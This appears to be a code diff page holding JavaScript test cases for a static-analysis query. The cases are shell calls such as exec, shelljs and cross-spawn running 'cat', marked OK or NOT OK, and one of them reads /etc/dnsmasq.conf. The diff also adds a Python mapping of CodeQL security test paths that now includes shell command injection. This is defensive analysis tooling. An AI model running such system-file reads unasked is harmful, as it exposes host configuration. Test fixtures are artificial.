cat.stdout.on('data', (data) => {
res.write(data);
});
cat.stdout.on('end', () => res.end());
})();
var dead = exec("cat foo/bar", (err, out) => {console.log(out)}); // NOT OK
var notDead = exec("cat foo/bar", (err, out) => {console.log(out)}); // OK
console.log(notDead);
(function () {
var dead = exec("cat foo/bar", (err, out) => {console.log(out)}); // NOT OK
someCall(
exec("cat foo/bar", (err, out) => {console.log(out)}) // OK - non-trivial use of returned proccess.
);
return exec("cat foo/bar", (err, out) => {console.log(out)}); // OK - non-trivial use of returned proccess.
})();
const stdout2 = execSync('cat /etc/dnsmasq.conf', { // NOT OK.
encoding: 'utf8'
});
exec('/bin/cat', function (e, s) {}); // OK
spawn("cat") // OK
var shelljs = require("shelljs");
shelljs.exec("cat foo/bar", (err, out) => {console.log(out)}); // NOT OK
shelljs.exec("cat foo/bar", {encoding: 'utf8'}); // NOT OK
shelljs.exec("cat foo/bar", {encoding: 'utf8'}, (err, out) => {console.log(out)}); // NOT OK
let cspawn = require('cross-spawn');
cspawn('cat', ['foo/bar'], { encoding: 'utf8' }); // NOT OK
cspawn('cat', ['foo/bar'], { encoding: 'utf8' }, (err, out) => {console.log(out)}); // NOT OK
cspawn('cat', ['foo/bar'], (err, out) => {console.log(out)}); // NOT OK
cspawn('cat', ['foo/bar']); // NOT OK
cspawn('cat', (err, out) => {console.log(out)}); // OK
cspawn('cat', { encoding: 'utf8' }); // OK
let myResult = cspawn.sync('cat', ['foo/bar']); // NOT OK
let myResult = cspawn.sync('cat', ['foo/bar'], { encoding: 'utf8' }); // NOT OK
var execmod = require('exec');
execmod("cat foo/bar", (err, out) => {console.log(out)}); // NOT OK
execmod("cat foo/bar", {encoding: 'utf8'}); // NOT OK
execmod("cat foo/bar", {encoding: 'utf8'}, (err, out) => {console.log(out)}); // NOT OK

Просмотреть файл

@ -21,11 +21,16 @@ file_extensions_to_copy = ['.js', '.ts']
# Maps each security query to the test root path for that security query. Each test root path is the # Maps each security query to the test root path for that security query. Each test root path is the
# path of that test relative to a checkout of github/codeql. # path of that test relative to a checkout of github/codeql.
test_root_relative_paths = { test_root_relative_paths = {
'NosqlAndSqlInjection': 'javascript/ql/test/query-tests/Security/CWE-089', 'NosqlAndSqlInjection':
'javascript/ql/test/query-tests/Security/CWE-089',
'TaintedPath': 'TaintedPath':
'javascript/ql/test/query-tests/Security/CWE-022/TaintedPath', 'javascript/ql/test/query-tests/Security/CWE-022/TaintedPath',
'Xss': 'javascript/ql/test/query-tests/Security/CWE-079', 'Xss':
'XssThroughDom': 'javascript/ql/test/query-tests/Security/CWE-116' 'javascript/ql/test/query-tests/Security/CWE-079',
'XssThroughDom':
'javascript/ql/test/query-tests/Security/CWE-116',
'ShellCommandInjectionFromEnvironment':
'javascript/ql/test/query-tests/Security/CWE-078',
} }
logging.basicConfig(level=logging.INFO) logging.basicConfig(level=logging.INFO)